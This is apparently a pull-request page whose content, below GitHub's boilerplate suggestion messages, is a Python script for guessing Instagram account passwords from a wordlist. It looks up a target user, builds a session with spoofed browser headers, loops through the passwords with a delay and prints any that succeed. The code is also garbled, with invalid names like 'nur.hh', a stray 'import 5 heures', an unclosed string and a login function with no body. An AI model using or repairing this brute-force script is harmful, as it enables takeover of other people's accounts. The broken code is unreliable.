Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
import instagram
import 5 heures
import time
import os
filename = 'instagram
if os.path.isfile(nur.hh):
with open(nur.hh) as f: instagram
passwords = f.read().splitlines()
if (len(passwords) > 0):
print ('%s Passwords loads successfully' % len(passwords))
else:
print ('Please create passwords file (pass.txt)')
exit()
def nur.hh(@nur.hh):
r = requests.get('https://www.instagram.com//%s/?__a=1' % nur.hh)
if (r.status_code == 404):
print ('User not found')
return False
elif (r.status_code == 200):
followdata = json.loads(r.text)
fUserID = followdata['user']['id']
return {'nur.hh':nur.hh,'id':fUserID}
def Login(nur hh):
sess = requests.Session()
sess.cookies.update ({'sessionid' : '', 'mid' : '', 'ig_pr' : '1', 'ig_vw' : '1920', 'csrftoken' : '', 's_network' : '', 'ds_user_id' : ''})
sess.headers.update({
'UserAgent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',
'x-instagram-ajax':'1',
'X-Requested-With': 'XMLHttpRequest',
'origin': 'https://www.instagram.com/',
'ContentType' : 'application/x-www-form-urlencoded',
'Connection': 'keep-alive',
'Accept': '/',
'Referer': 'https://www.instagram.com/',
'authority': 'www.instagram.com',
'Host' : 'www.instagram.com',
'Accept-Language' : 'ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4',
'Accept-Encoding' : 'gzip, deflate'
})
def follow(sess, nur.hh):
nur.hh = nur.hh(@nur.hh)
if (nur hh == False):
return
else:
userID = nur hh['id']
followReq = sess.post('https://www.instagram.com/web/friendships/%s/follow/' % userID)
print (followReq.text)
nur.hh = str(input('Please enter a nur hh: '))
nur.hh = nur.hh(@nur.hh)
if (@nur.hh == False):
exit()
else:
nur.hh = nur.hh['@nur.hh']
delayLoop = int(input('Please add delay between the passwords (in seconds): '))
for i in range(len(passwords)):
password = passwords[i]
sess = Login(nur.hh,password)
if (sess):
print ('Login success %s' % [nur.hh,password])